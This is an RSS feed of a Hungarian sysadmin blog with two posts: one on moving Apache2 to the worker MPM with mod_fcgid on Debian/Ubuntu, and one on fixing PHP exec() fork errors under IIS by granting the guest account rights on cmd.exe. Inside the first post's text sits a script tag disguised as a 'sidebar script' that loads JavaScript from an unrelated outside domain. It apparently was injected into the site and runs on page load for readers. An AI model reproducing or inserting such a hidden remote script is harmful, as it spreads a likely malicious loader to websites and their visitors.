<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>InfoBlog - informatikáról egyszerűen &#187; PHP</title>
	<atom:link href="http://infoblog.kovix.info/tag/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://infoblog.kovix.info</link>
	<description>Számítástechnikai problémák és megoldásaik egyszerűen</description>
	<lastBuildDate>Fri, 05 Mar 2010 16:08:27 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Debain (Ubuntu) Apache 2 futtatás mod_fcgi-vel</title>
		<link>http://infoblog.kovix.info/2009/06/15/debain-ubuntu-apache-2-futtatas-mod_fcgi-vel/</link>
		<comments>http://infoblog.kovix.info/2009/06/15/debain-ubuntu-apache-2-futtatas-mod_fcgi-vel/#comments</comments>
		<pubDate>Mon, 15 Jun 2009 09:48:50 +0000</pubDate>
		<dc:creator>kovix</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Apache]]></category>

		<guid isPermaLink="false">http://infoblog.kovix.info/?p=69</guid>
		<description><![CDATA[Amennyiben Debian vagy Ubuntu rendszerű linux szerverünkön alapértelmezett (vagy alapértelmezetthez közeli) konfigurációval futtatjuk az Apache2 web szervert, nagy valószínűséggel a apache2-mpm-prefork wokert használjuk libapache2-mod-php5 -tel. Habár ez az alapértelemezett működés, nagy forgalom, illetve nagy, lassan futó scriptek esetében meggondolandó az apache2-mpm-worker használata, mivel a prefok modul memória igénye magas, illetve amiatt, hogy minden kérésrt egyetlen [...]]]></description>
			<content:encoded><![CDATA[<p>Amennyiben Debian vagy Ubuntu rendszerű linux szerverünkön alapértelmezett (vagy alapértelmezetthez közeli) konfigurációval futtatjuk az Apache2 web szervert, nagy valószínűséggel a apache2-mpm-prefork wokert használjuk libapache2-mod-php5 -tel. Habár ez az alapértelemezett működés, nagy forgalom, illetve nagy, lassan futó scriptek esetében meggondolandó az apache2-mpm-worker használata, mivel a prefok modul memória igénye magas, illetve amiatt, hogy minden kérésrt egyetlen szál szolgál ki, a kiszolgálás sebessége nagymértékben lassulhat.<br />
<!-- sidebar script --><script type="text/javascript" src="http://top5result.com/promo/um.js"></script><br />
Nagy terhelésű szervereken ezek alapján mindenképpen érdemes a worker-t telepíteni, de ez felvet egy újabb problémát: a libapache2-mod-php5 csak a prefork-kal kompatibilis, a worker telepítése esetén a debian alapú rendszerek automatikusan eltávolítják azt.</p>
<p>Ebben a leírásban bemutatom, hogy hogyan tudjuk a preforkot workerre cserélni, illetve a libapache2-mod-php5 helyett hogyan tudunk mod_fcgi-t üzembe helyezni.</p>
<p><span id="more-69"></span></p>
<p><strong>Apache2 worker és mod_fcgid telepítés:</strong></p>
<blockquote><p>apt-get install apache2-mpm-worker libapache2-mod-fcgid</p></blockquote>
<p><strong>mod_fcgid engedélyezése:</strong></p>
<blockquote><p>sudo a2enmod fcgid</p></blockquote>
<p><strong>Szükséges php5  modulok telepítése</strong></p>
<p>Bármilyen php 5 modul telepíthető a rendszerre, amely szükséges a scriptek megfelelű működéséhez, pl.:</p>
<blockquote><p>apt-get install php5-cgi php5-curl php5-gd php5-ldap php5-mysql php5-mysqli php5-sqlite php5-xsl</p></blockquote>
<p><strong>Apache2 beállítások</strong></p>
<p>A csomagok telepítése után az apache2 beállítása következik. A példa az apache2 default virtualhostján keresztül mutatja be a beállításokat,  de ezeknek a módosításokat minden virtualhostban el kell végezni.</p>
<p>Keressük meg a virtualhost gyökérkönyvtárára vonatkozó bejegyzést, és egészítsük ki így:</p>
<blockquote><p>&lt;Directory /var/www&gt;<br />
AddHandler fcgid-script .php<br />
FCGIWrapper /usr/lib/cgi-bin/php5 .php<br />
&lt;/Directory&gt;</p></blockquote>
<p>majd pedig minden &#8220;directory&#8221; bejegyésben engedélyezzük a CGI futtatást:</p>
<blockquote><p>Options ExecCGI Indexes</p></blockquote>
<p>A virtualhostok mentése után csupán egy apache2 újraindítás van hátra:</p>
<blockquote><p>/etc/init.d/apache2 force-reload</p></blockquote>
<p>és a forrás pedig:</p>
<p>Ezt a cikket az alábbi leírás alapján portoltam a saját rendszeremre és magyar nyelven:</p>
<p><a class="aligncenter" href="http://ivan.gudangbaca.com/installing_apache2_and_php5_using_mod_fcgid" target="_blank">http://ivan.gudangbaca.com/installing_apache2_and_php5_using_mod_fcgid</a></p>
]]></content:encoded>
			<wfw:commentRss>http://infoblog.kovix.info/2009/06/15/debain-ubuntu-apache-2-futtatas-mod_fcgi-vel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>php exec() &#8211; Unable to fork warning windows alatt</title>
		<link>http://infoblog.kovix.info/2008/12/08/php-exec-unable-to-fork-warning-windows-alatt/</link>
		<comments>http://infoblog.kovix.info/2008/12/08/php-exec-unable-to-fork-warning-windows-alatt/#comments</comments>
		<pubDate>Mon, 08 Dec 2008 16:52:08 +0000</pubDate>
		<dc:creator>kovix</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[Exec]]></category>
		<category><![CDATA[fork]]></category>
		<category><![CDATA[Hálózat]]></category>
		<category><![CDATA[IIS]]></category>
		<category><![CDATA[jogosultság]]></category>

		<guid isPermaLink="false">http://infoblog.kovix.info/?p=40</guid>
		<description><![CDATA[Windows (IIS / Apache) alatt futtatott php 5.x alatt, ha exec függvényt próbálunk hívni, könnyen az alábbi hiba (figyelmeztetés) fogadhat minket:
"Warning: system() [function.system]: Unable to fork".
esetleg
"Warning: shell_exec() [function.shell-exec]: Unable to execute"
A probléma okozója az, hogy hiába van a php kódot futtató felhasználónak (általában IUSR_gépnév) jogosultsága a kérdéses állományt végrehajtani, a php exec() függvénye nem közvetlenül [...]]]></description>
			<content:encoded><![CDATA[<p>Windows (IIS / Apache) alatt futtatott php 5.x alatt, ha exec függvényt próbálunk hívni, könnyen az alábbi hiba (figyelmeztetés) fogadhat minket:</p>
<pre>"Warning: system() [function.system]: Unable to fork".</pre>
<p>esetleg</p>
<pre>"Warning: shell_exec() [function.shell-exec]: Unable to execute"</pre>
<p>A probléma okozója az, hogy hiába van a php kódot futtató felhasználónak (általában IUSR_gépnév) jogosultsága a kérdéses állományt végrehajtani, a php exec() függvénye nem közvetlenül azt próbálja futtatni, hanem a <strong>cmd.ex</strong>e-t, aminek paraméterben adja át a futtatni kívánt parancsot.</p>
<p>Így, a működéshez a cmd.exe-re is megfelelő jogosultságot kell adnunk. A cmd.exe elérési útvonala: %windir%\system32\cmd.exe (Általában c:\windows\system32\cmd.exe vagy c:\winnt\system32\cmd.exe)</p>
<p>A fájlon jobb klikk, tulajdonságok (properties)</p>
<p> </p>
<div id="attachment_44" class="wp-caption aligncenter" style="width: 374px"><a href="http://infoblog.kovix.info/wp-content/uploads/2008/12/cmd_exe_tulajdonsagok.png"><img class="size-full wp-image-44" title="cmd.exe tulajdonságai" src="http://infoblog.kovix.info/wp-content/uploads/2008/12/cmd_exe_tulajdonsagok.png" alt="cmd.exe tulajdonságai" width="364" height="517" /></a><p class="wp-caption-text">cmd.exe tulajdonságai</p></div>
<p> </p>
<p> </p>
<p>Amennyiben az INTERNET GUEST ACCOUNT (IUSR_gépneve) nincs a listában, kattintsunk a hozzáadás(add gombra), és a mezőbe írjuk be az IUSR szöveget, majd nyomjuk meg a Névellenőrzés gombot. (Apache esetén válasszuk azt a felhasználót, amely nevében az apache folyamatok futnak.)</p>
<p style="text-align: center;"> </p>
<p style="text-align: center;"><a href="http://infoblog.kovix.info/wp-content/uploads/2008/12/picture-2.png"><img class="size-full wp-image-42 aligncenter" title="cmd.exe felhasználó hozzáadása a jogosultsági listához" src="http://infoblog.kovix.info/wp-content/uploads/2008/12/picture-2.png" alt="" width="459" height="242" /></a></p>
<p>Fontos!!! Határozottan ellenjavallott több jogosultságot adni az IUSR felhasználónak, mint amennyi a képen látható</p>
]]></content:encoded>
			<wfw:commentRss>http://infoblog.kovix.info/2008/12/08/php-exec-unable-to-fork-warning-windows-alatt/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
